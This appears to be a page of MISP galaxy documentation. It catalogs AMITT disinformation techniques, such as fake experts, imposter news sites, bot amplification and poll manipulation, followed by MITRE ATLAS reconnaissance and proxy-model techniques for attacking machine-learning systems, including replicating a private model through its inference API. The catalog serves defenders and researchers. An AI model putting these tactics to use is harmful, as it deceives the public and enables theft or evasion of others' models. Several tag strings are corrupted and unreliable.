<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0008.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0008.md</a></td>
</tr>
</tbody>
</table>

Create fake experts

Stories planted or promoted in computational propaganda operations often make use of experts fabricated from whole cloth, sometimes specifically for the story itself. For example, in the Jade Helm conspiracy theory promoted by SVR in 2015, a pair of experts—one of them naming himself a “Military Intelligence Analyst / Russian Regional CME” and the other a “Geopolitical Strategist, Journalist & Author”—pushed the story heavily on LinkedIn.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake experts"*

Table 4688. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0009.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0009.md</a></td>
</tr>
</tbody>
</table>

Cultivate useful idiots

Cultivate propagandists for a cause, the goals of which are not fully comprehended, and who are used cynically by the leaders of the cause. Independent actors use social media and specialised web sites to strategically reinforce and spread messages compatible with their own. Their networks are infiltrated and used by state media disinformation organisations to amplify the state’s own disinformation strategies against target populations. Many are traffickers in conspiracy theories or hoaxes, unified by a suspicion of Western governments and mainstream media. Their narratives, which appeal to leftists hostile to globalism and military intervention and nationalists against immigration, are frequently infiltrated and shaped by state-controlled trolls and altered news items from agencies such as RT and Sputnik. Also know as “useful idiots” or “unwitting agents”.

Table 4687. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0008.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0008.md</a></td>
</tr>
</tbody>
</table>

Create fake or imposter news sites

Modern computational propaganda makes use of a cadre of imposter news sites spreading globally. These sites, sometimes motivated by concerns other than propaganda—for instance, click-based revenue—often have some superficial markers of authenticity, such as naming and site-design. But many can be quickly exposed with reference to their ownershiop, reporting history and advertising details. A prominent case from the 2016 era was the *Denver Guardian*, which purported to be a local newspaper in Colorado and specialized in negative stories about Hillary Clinton.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake or imposter news sites"*
Hijack legitimate account

Hack or take over legitimate accounts to distribute misinformation or damaging content. Examples include Syrian Electronic Army (2013) series of false tweets from a hijacked Associated Press Twitter account claiming that President Barack Obama had been injured in a series of explosions near the White House. The false report caused a temporary plunge of 143 points on the Dow Jones Industrial Average.

Use concealment

Use anonymous social media profiles. Examples include page or group administrators, masked “whois” website directory data, no bylines connected to news article, no masthead connect to news websites.

Example is 2016 @TEN_GOP profile where the actual Tennessee Republican Party tried unsuccessfully for months to get Twitter to shut it down, and 2019 Endless Mayfly is an Iran-aligned network of inauthentic personas and social media accounts that spreads falsehoods and amplifies narratives critical of Saudi Arabia, the United States, and Israel.

Create fake websites

The tag is: misp-galaxy:amitt-misinformation-pattern="Create fake websites"
Create funding campaigns

Generate revenue through online funding campaigns. e.g. Gather data, advance credible persona via Gofundme; Patreon; or via fake website connecting via PayPal or Stripe. (Example 2016) #VaccinateUS Gofundme campaigns to pay for Targetted facebook ads (Larry Cook, targetting Washington State mothers, $1,776 to boost posts over 9 months).

The tag is: mip-s-galaxy:amitt-misinformation-pattern="Create funding campaigns"

Table 4693. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0014.md

Create hashtag

Many incident-based campaigns will create a hashtag to promote their fabricated event (e.g. #ColumbianChemicals to promote a fake story about a chemical spill in Louisiana).

Creating a hashtag for an incident can have two important effects: 1. Create a perception of reality around an event. Certainly only "real" events would be discussed in a hashtag. After all, the event has a name! 2. Publicize the story more widely through trending lists and search behavior

Asset needed to direct/control/manage "conversation" connected to launching new incident/campaign with new hashtag for applicable social media sites ie: Twitter, LinkedIn)

The tag is: mip-s-galaxy:amitt-misinformation-pattern="Create hashtag"

Table 4694. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0015.md

Clickbait

Create attention grabbing headlines (outrage, doubt, humor) required to drive traffic & engagement. (example 2016) “Pope Francis shocks world, endorses Donald Trump for president.” (example 2016) "FBI director received millions from Clinton Foundation, his brother's law firm does Clinton's taxes". This is a key asset

The tag is: mip-s-galaxy:amitt-misinformation-pattern="Clickbait"

Table 4695. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0016.md
Promote online funding

Drive traffic/engagement to funding campaign sites; helps provide measurable metrics to assess conversion rates

The tag is: `misp-galaxy:amitt-misinformation-pattern="Promote online funding"`

Table 4696. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0017.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0017.md</a></td>
</tr>
</tbody>
</table>

Paid targeted ads

Create or fund advertisements targeted at specific populations

The tag is: `misp-galaxy:amitt-misinformation-pattern="Paid targeted ads"`

Table 4697. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0018.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0018.md</a></td>
</tr>
</tbody>
</table>

Generate information pollution

Flood social channels; drive traffic/engagement to all assets; create aura/sense/perception of pervasiveness/consensus (for or against or both simultaneously) of an issue or topic. "Nothing is true, but everything is possible." Akin to astroturfing campaign.

The tag is: `misp-galaxy:amitt-misinformation-pattern="Generate information pollution"`

Table 4698. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0019.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0019.md</a></td>
</tr>
</tbody>
</table>

Trial content

Iteratively test incident performance (messages, content etc), e.g. A/B test headline/content engagagement metrics; website and/or funding campaign conversion rates

The tag is: `misp-galaxy:amitt-misinformation-pattern="Trial content"`

Table 4699. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0020.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0020.md</a></td>
</tr>
</tbody>
</table>
Memes

Memes are one of the most important single artefact types in all of computational propaganda. Memes in this framework denotes the narrow image-based definition. But that naming is no accident, as these items have most of the important properties of Dawkins' original conception as a self-replicating unit of culture. Memes pull together reference and commentary; image and narrative; emotion and message. Memes are a powerful tool and the heart of modern influence campaigns.

The tag is: misp-galaxy:amitt-misinformation-pattern="Memes"

<table>
<thead>
<tr>
<th>Table 4700. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0021.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0021.md</a></td>
</tr>
</tbody>
</table>

Conspiracy narratives

"Conspiracy narratives appeal to the human desire for explanatory order, by invoking the participation of powerful (often sinister) actors in pursuit of their own political goals. These narratives are especially appealing when an audience is low-information, marginalized or otherwise inclined to reject the prevailing explanation. Conspiracy narratives are an important component of the ""firehose of falsehoods"" model.

Example: QAnon: conspiracy theory is an explanation of an event or situation that invokes a conspiracy by sinister and powerful actors, often political in motivation, when other explanations are more probable |

The tag is: misp-galaxy:amitt-misinformation-pattern="Conspiracy narratives"

<table>
<thead>
<tr>
<th>Table 4701. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0022.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0022.md</a></td>
</tr>
</tbody>
</table>

Distort facts

Change, twist, or exaggerate existing facts to construct a narrative that differs from reality. Examples: images and ideas can be distorted by being placed in an improper content

The tag is: misp-galaxy:amitt-misinformation-pattern="Distort facts"

<table>
<thead>
<tr>
<th>Table 4702. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0023.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0023.md</a></td>
</tr>
</tbody>
</table>
Create fake videos and images

Create fake videos and/or images by manipulating existing content or generating new content (e.g. deepfakes). Examples include Pelosi video (making her appear drunk) and photoshopped shark on flooded streets of Houston TX.

The tag is: `misp-galaxy:amitt-misinformation-pattern=“Create fake videos and images”`

**Table 4703. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0024.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0024.md</a></td>
<td></td>
</tr>
</tbody>
</table>

Leak altered documents

Obtain documents (eg by theft or leak), then alter and release, possibly among factual documents/sources.

Example (2019) DFRLab report "Secondary Infektion" highlights incident with key asset being a forged “letter” created by the operation to provide ammunition for far-right forces in Europe ahead of the election.

The tag is: `misp-galaxy:amitt-misinformation-pattern=“Leak altered documents”`

**Table 4704. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0025.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0025.md</a></td>
<td></td>
</tr>
</tbody>
</table>

Create fake research

Create fake academic research. Example: fake social science research is often aimed at hot-button social issues such as gender, race and sexuality. Fake science research can target Climate Science debate or pseudoscience like anti-vaxx

The tag is: `misp-galaxy:amitt-misinformation-pattern=“Create fake research”`

**Table 4705. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0026.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0026.md</a></td>
<td></td>
</tr>
</tbody>
</table>

Adapt existing narratives

Adapting existing narratives to current operational goals is the tactical sweet-spot for an effective misinformation campaign. Leveraging existing narratives is not only more effective, it requires substantially less resourcing, as the promotion of new master narratives operates on a much larger scale, both time and scope. Fluid, dynamic & often interchangable key master narratives can be
("The morally corrupt West") adapted to divisive (LGBT propaganda) or to distort (individuals working as CIA operatives). For Western audiences, different but equally powerful framings are available, such as "USA has a fraught history in race relations, especially in criminal justice areas."

The tag is: *misp-galaxy:amitt-misinformation-pattern="Adapt existing narratives"

**Create competing narratives**

"Misinformation promotes an agenda by advancing narratives supportive of that agenda. This is most effective when the advanced narrative pre-dates the revelation of the specific misinformation content. But this is often not possible.

Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centered on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on.

These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives. Competing narratives, as such, are especially useful in the "firehose of misinformation" approach."

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create competing narratives"

**Manipulate online polls**

Create fake online polls, or manipulate existing online polls. Examples: flooding FCC with comments; creating fake engagement metrics of Twitter/Facebook polls to manipulate perception of given issue. Data gathering tactic to target those who engage, and potentially their networks of friends/followers as well.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Manipulate online polls"
Backstop personas

Create other assets/dossier/cover/fake relationships and/or connections or documents, sites, bylines, attributions, to establish/augment/inflate credibility/believability

The tag is: `misp-galaxy:amitt-misinformation-pattern="Backstop personas"`

Table 4709. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

YouTube

Use YouTube as a narrative dissemination channel

The tag is: `misp-galaxy:amitt-misinformation-pattern="YouTube"`

Table 4710. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Reddit

Use Reddit as a narrative dissemination channel

The tag is: `misp-galaxy:amitt-misinformation-pattern="Reddit"`

Table 4711. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Instagram

Use Instagram as a narrative dissemination channel

The tag is: `misp-galaxy:amitt-misinformation-pattern="Instagram"`

Table 4712. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

LinkedIn

Use LinkedIn as a narrative dissemination channel
Pinterest

Use Pinterest as a narrative dissemination channel

The tag is: misp-galaxy:amitt-misinformation-pattern="Pinterest"

WhatsApp

Use WhatsApp as a narrative dissemination channel

The tag is: misp-galaxy:amitt-misinformation-pattern="WhatsApp"

Facebook

Use Facebook as a narrative dissemination channel

The tag is: misp-galaxy:amitt-misinformation-pattern="Facebook"

Twitter

Use Twitter as a narrative dissemination channel

The tag is: misp-galaxy:amitt-misinformation-pattern="Twitter"
Bait legitimate influencers

The tag is: misp-galaxy:amitt-misinformation-pattern="Bait legitimate influencers"

Table 4718. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0039.md

Demand unsurmountable proof

The tag is: misp-galaxy:amitt-misinformation-pattern="Demand unsurmountable proof"

Table 4719. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0040.md

Deny involvement

The tag is: misp-galaxy:amitt-misinformation-pattern="Deny involvement"

Table 4720. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0041.md

Kernel of Truth

The tag is: misp-galaxy:amitt-misinformation-pattern="Kernel of Truth"

Table 4721. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0042.md

Use SMS/ WhatsApp/ Chat apps

The tag is: misp-galaxy:amitt-misinformation-pattern="Use SMS/ WhatsApp/ Chat apps"

Table 4722. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0043.md
Seed distortions

The tag is: misp-galaxy:amitt-misinformation-pattern="Seed distortions"

Table 4723. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0044.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0044.md</a></td>
</tr>
</tbody>
</table>

Use fake experts

Use the fake experts that were set up in T0009. Pseudo-experts are disposable assets that often appear once and then disappear. Give "credibility" to misinformation. Take advantage of credential bias

The tag is: misp-galaxy:amitt-misinformation-pattern="Use fake experts"

Table 4724. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0045.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0045.md</a></td>
</tr>
</tbody>
</table>

Search Engine Optimization

Manipulate content engagement metrics (ie: Reddit & Twitter) to influence/impact news search results (e.g. Google), also elevates RT & Sputnik headline into Google news alert emails. aka "Black-hat SEO"

The tag is: misp-galaxy:amitt-misinformation-pattern="Search Engine Optimization"

Table 4725. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0046.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0046.md</a></td>
</tr>
</tbody>
</table>

Muzzle social media as a political force

Use political influence or the power of state to stop critical social media comments. Government requested/driven content take downs (see Google Transparency reports. (Example 20190 Singapore Protection from Online Falsehoods and Manipulation Bill would make it illegal to spread "false statements of fact" in Singapore, where that information is "prejudicial" to Singapore’s security or "public tranquility." Or India/New Delhi has cut off services to Facebook and Twitter in Kashmir 28 times in the past five years, and in 2016, access was blocked for five months — on the grounds that these platforms were being used for anti-social and "anti-national" purposes.

The tag is: misp-galaxy:amitt-misinformation-pattern="Muzzle social media as a political force"

Table 4726. Table References
Cow online opinion leaders

Intimidate, coerce, threaten critics/dissidents/journalists via trolling, doxing. Philippines (example) Maria Ressa and Rappler journalists targeted Duterte regime, lawsuits, trollings, banned from the presidential palace where press briefings take place. 2017 Bot attack on five ProPublica Journalists.

The tag is: `misp-galaxy:amitt-misinformation-pattern="Cow online opinion leaders"`

Flooding

Flooding and/or mobbing social media channels feeds and/or hashtag with excessive volume of content to control/shape online conversations and/or drown out opposing points of view. Bots and/or patriotic trolls are effective tools to achieve this effect.

Example (2018): bots flood social media promoting messages which support Saudi Arabia with intent to cast doubt on allegations that the kingdom was involved in Khashoggi's death.

The tag is: `misp-galaxy:amitt-misinformation-pattern="Flooding"`

Cheerleading domestic social media ops

Deploy state-coordinated social media commenters and astroturfers. Both internal/domestic and external social media influence operations, popularized by China (50cent Army manage message inside the "Great Firewall") but also technique used by Chinese English-language social media influence operations are seeded by state-run media, which overwhelmingly present a positive, benign, and cooperative image of China.

The tag is: `misp-galaxy:amitt-misinformation-pattern="Cheerleading domestic social media ops"`
**Fabricate social media comment**

Use government-paid social media commenters, astroturkers, chat bots (programmed to reply to specific key words/hashtags) influence online conversations, product reviews, web-site comment forums. (2017 example) the FCC was inundated with nearly 22 million public comments on net neutrality (many from fake accounts)

The tag is: *misp-galaxy:amitt-misinformation-pattern="Fabricate social media comment"

Table 4730. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0051.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0051.md</a></td>
</tr>
</tbody>
</table>

**Tertiary sites amplify news**

Create content/news/opinion web-sites to cross-post stories. Tertiary sites circulate and amplify narratives. Often these sites have no masthead, bylines or attribution.


Example (2019, Domestic news): Snopes reveals Star News Digital Media, Inc. may look like a media company that produces local news, but operates via undisclosed connections to political activism.

Example (2018) FireEye reports on Iranian campaign that created between April 2018 and March 2019 sites used to spread inauthentic content from websites such as Liberty Front Press (LFP), US Journal, and Real Progressive Front during the US mid-terms.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Tertiary sites amplify news"

Table 4731. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0052.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0052.md</a></td>
</tr>
</tbody>
</table>

**Twitter trolls amplify and manipulate**

Use trolls to amplify narratives and/or manipulate narratives. Fake profiles/sockpuppets operating to support individuals/narratives from the entire political spectrum (left/right binary). Operating with increased emphasis on promoting local content and promoting real Twitter users generating their own, often divisive political content, as it’s easier to amplify existing content than create new/original content. Trolls operate where ever there’s a socially divisive issue (issues that can/are be politicized) e.g. BlackLivesMatter or MeToo

The tag is: *misp-galaxy:amitt-misinformation-pattern="Twitter trolls amplify and manipulate"

Table 4732. Table References
Twitter bots amplify

Use bots to amplify narratives above algorithm thresholds. Bots are automated/programmed profiles designed to amplify content (i.e.: automatically retweet or like) and give appearance it's more "popular" than it is. They can operate as a network, to function in a coordinated/orchestrated manner. In some cases (more so now) they are an inexpensive/disposable assets used for minimal deployment as bot detection tools improve and platforms are more responsive.(example 2019) #TrudeauMustGo

The tag is: mish-galaxy:amitt-misinformation-pattern="Twitter bots amplify"

Use hashtag

Use the dedicated hashtag for the incident (e.g. #PhosphorusDisaster)

The tag is: mish-galaxy:amitt-misinformation-pattern="Use hashtag"

Dedicated channels disseminate information pollution

Output information pollution (e.g. articles on an unreported false story/event) through channels controlled by or related to the incident creator. Examples include RT/Sputnik or antivax websites seeding stories.

The tag is: mish-galaxy:amitt-misinformation-pattern="Dedicated channels disseminate information pollution"

Organise remote rallies and events

Coordinate and promote real-world events across media platforms, e.g. rallies, protests, gatherings
in support of incident narratives. Example: Facebook groups/pages coordinate/more divisive/polarizing groups and activities into the public space. (Example) Mueller’s report, highlights, the IRA organized political rallies in the U.S. using social media starting in 2015 and continued to coordinate rallies after the 2016 election

The tag is: *misp-galaxy:amitt-misinformation-pattern="Organise remote rallies and events"*

### Legacy web content

Make incident content visible for a long time, e.g. by exploiting platform terms of service, or placing it where it’s hard to remove or unlikely to be removed.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Legacy web content"*

### Play the long game

The tag is: *misp-galaxy:amitt-misinformation-pattern="Play the long game"*

### Continue to amplify

The tag is: *misp-galaxy:amitt-misinformation-pattern="Continue to amplify"*

### Sell merchandising

Sell hats, t-shirts, flags and other branded content that’s designed to be seen in the real world

The tag is: *misp-galaxy:amitt-misinformation-pattern="Sell merchandising"*
MITRE ATLAS Attack Pattern

MITRE ATLAS Attack Pattern - Adversarial Threat Landscape for Artificial-Intelligence Systems.

MITRE ATLAS Attack Pattern is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
MITRE

Search for Victim’s Publicly Available Research Materials

Adversaries may search publicly available research to learn how and where machine learning is used within a victim organization. The adversary can use this information to identify targets for attack, or to tailor an existing attack to make it more effective. Organizations often use open source model architectures trained on additional proprietary data in production. Knowledge of this underlying architecture allows the adversary to craft more realistic proxy models ([Create Proxy ML Model](/techniques/AML.T0005)). An adversary can search these resources for publications for authors employed at the victim organization.

Research materials may exist as academic papers published in [Journals and Conference Proceedings](/techniques/AML.T0000.000), or stored in [Pre-Print Repositories](/techniques/AML.T0000.001), as well as [Technical Blogs](/techniques/AML.T0000.002).

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Search for Victim's Publicly Available Research Materials"`

Journals and Conference Proceedings

Many of the publications accepted at premier machine learning conferences and journals come from commercial labs. Some journals and conferences are open access, others may require paying for access or a membership. These publications will often describe in detail all aspects of a particular approach for reproducibility. This information can be used by adversaries to implement the paper.
Table 4742. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0000.000">https://atlas.mitre.org/techniques/AML.T0000.000</a></td>
</tr>
</tbody>
</table>

**Pre-Print Repositories**

Pre-Print repositories, such as arXiv, contain the latest academic research papers that haven’t been peer reviewed. They may contain research notes, or technical reports that aren’t typically published in journals or conference proceedings. Pre-print repositories also serve as a central location to share papers that have been accepted to journals. Searching pre-print repositories provide adversaries with a relatively up-to-date view of what researchers in the victim organization are working on.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Pre-Print Repositories"*

Table 4743. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0000.001">https://atlas.mitre.org/techniques/AML.T0000.001</a></td>
</tr>
</tbody>
</table>

**Technical Blogs**

Research labs at academic institutions and Company R&D divisions often have blogs that highlight their use of machine learning and its application to the organizations unique problems. Individual researchers also frequently document their work in blogposts. An adversary may search for posts made by the target victim organization or its employees. In comparison to [Journals and Conference Proceedings](/techniques/AML.T0000.000) and [Pre-Print Repositories](/techniques/AML.T0000.001) this material will often contain more practical aspects of the machine learning system. This could include underlying technologies and frameworks used, and possibly some information about the API access and use case. This will help the adversary better understand how that organization is using machine learning internally and the details of their approach that could aid in tailoring an attack.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Technical Blogs"*

Table 4744. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0000.002">https://atlas.mitre.org/techniques/AML.T0000.002</a></td>
</tr>
</tbody>
</table>

**Search for Publicly Available Adversarial Vulnerability Analysis**

Much like the [Search for Victim’s Publicly Available Research Materials](/techniques/AML.T0000),
there is often ample research available on the vulnerabilities of common models. Once a target has been identified, an adversary will likely try to identify any pre-existing work that has been done for this class of models. This will include not only reading academic papers that may identify the particulars of a successful attack, but also identifying pre-existing implementations of those attacks. The adversary may [Adversarial ML Attack Implementations](/techniques/AML.T0016.000) or [Adversarial ML Attacks](/techniques/AML.T0017.000) their own if necessary.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Search for Publicly Available Adversarial Vulnerability Analysis"`

### Acquire Public ML Artifacts

Adversaries may search public sources, including cloud storage, public-facing services, and software or data repositories, to identify machine learning artifacts. These machine learning artifacts may include the software stack used to train and deploy models, training and testing data, model configurations and parameters. An adversary will be particularly interested in artifacts hosted by or associated with the victim organization as they may represent what that organization uses in a production environment. Adversaries may identify artifact repositories via other resources associated with the victim organization (e.g. [Search Victim-Owned Websites](/techniques/AML.T0003) or [Search for Victim’s Publicly Available Research Materials](/techniques/AML.T0000)). These ML artifacts often provide adversaries with details of the ML task and approach.

ML artifacts can aid in an adversary's ability to [Create Proxy ML Model](/techniques/AML.T0005). If these artifacts include pieces of the actual model in production, they can be used to directly [Craft Adversarial Data](/techniques/AML.T0043). Acquiring some artifacts requires registration (providing user details such email/name), AWS keys, or written requests, and may require the adversary to [Establish Accounts](/techniques/AML.T0021).

Artifacts might be hosted on victim-controlled infrastructure, providing the victim with some information on who has accessed that data.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Acquire Public ML Artifacts"`

### Datasets

Adversaries may collect public datasets to use in their operations. Datasets used by the victim organization or datasets that are representative of the data used by the victim organization may be
valuable to adversaries. Datasets can be stored in cloud storage, or on victim-owned websites. Some datasets require the adversary to [Establish Accounts](/techniques/AML.T0021) for access.

Acquired datasets help the adversary advance their operations, stage attacks, and tailor attacks to the victim organization.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Datasets"`

### Table 4747. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0002.000">https://atlas.mitre.org/techniques/AML.T0002.000</a></td>
</tr>
</tbody>
</table>

## Models

Adversaries may acquire public models to use in their operations. Adversaries may seek models used by the victim organization or models that are representative of those used by the victim organization. Representative models may include model architectures, or pre-trained models which define the architecture as well as model parameters from training on a dataset. The adversary may search public sources for common model architecture configuration file formats such as YAML or Python configuration files, and common model storage file formats such as ONNX (.onnx), HDF5 (.h5), Pickle (.pkl), PyTorch (.pth), or TensorFlow (.pb, .tflite).

Acquired models are useful in advancing the adversary's operations and are frequently used to tailor attacks to the victim model.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Models"`

### Table 4748. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0002.001">https://atlas.mitre.org/techniques/AML.T0002.001</a></td>
</tr>
</tbody>
</table>

## Search Victim-Owned Websites

Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain technical details about their ML-enabled products or services. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info. These sites may also have details highlighting business operations and relationships.

Adversaries may search victim-owned websites to gather actionable information. This information may help adversaries tailor their attacks (e.g. [Adversarial ML Attacks](/techniques/AML.T0017.000) or [Manual Modification](/techniques/AML.T0043.003)). Information from these sources may reveal opportunities for other forms of reconnaissance (e.g. [Search for Victim's Publicly Available Research Materials](/techniques/AML.T0000) or [Search for Publicly Available Adversarial Vulnerability Analysis](/techniques/AML.T0001)).

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Search Victim-Owned Websites"`
Search Application Repositories

Adversaries may search open application repositories during targeting. Examples of these include Google Play, the iOS App store, the macOS App Store, and the Microsoft Store.

Adversaries may craft search queries seeking applications that contain a ML-enabled component. Frequently, the next step is to [Acquire Public ML Artifacts](https://atlas.mitre.org/techniques/AML.T0002).

The tag is: misc-gallery:mitre-atlas-attack-pattern="Search Application Repositories"

Create Proxy ML Model

Adversaries may obtain models to serve as proxies for the target model in use at the victim organization. Proxy models are used to simulate complete access to the target model in a fully offline manner.

Adversaries may train models from representative datasets, attempt to replicate models from victim inference APIs, or use available pre-trained models.

The tag is: misc-gallery:mitre-atlas-attack-pattern="Create Proxy ML Model"

Train Proxy via Gathered ML Artifacts

Proxy models may be trained from ML artifacts (such as data, model architectures, and pre-trained models) that are representative of the target model gathered by the adversary. This can be used to develop attacks that require higher levels of access than the adversary has available or as a means to validate pre-existing attacks without interacting with the target model.

The tag is: misc-gallery:mitre-atlas-attack-pattern="Train Proxy via Gathered ML Artifacts"
Train Proxy via Replication

Adversaries may replicate a private model. By repeatedly querying the victim’s [ML Model Inference API Access](/techniques/AML.T0040), the adversary can collect the target model’s inferences into a dataset. The inferences are used as labels for training a separate model offline that will mimic the behavior and performance of the target model.

A replicated model that closely mimics the target model is a valuable resource in staging the attack. The adversary can use the replicated model to [Craft Adversarial Data](/techniques/AML.T0043) for various purposes (e.g. [Evade ML Model](/techniques/AML.T0015), [Spamming ML System with Chaff Data](/techniques/AML.T0046)).

The tag is: misp-galaxy:mitre-atlas-attack-pattern="Train Proxy via Replication"

Table 4753. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0005.001">https://atlas.mitre.org/techniques/AML.T0005.001</a></td>
</tr>
</tbody>
</table>

Use Pre-Trained Model

Adversaries may use an off-the-shelf pre-trained model as a proxy for the victim model to aid in staging the attack.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="Use Pre-Trained Model"

Table 4754. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0005.002">https://atlas.mitre.org/techniques/AML.T0005.002</a></td>
</tr>
</tbody>
</table>

Active Scanning

An adversary may probe or scan the victim system to gather information for targeting. This is distinct from other reconnaissance techniques that do not involve direct interaction with the victim system.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="Active Scanning"

Table 4755. Table References

<table>
<thead>
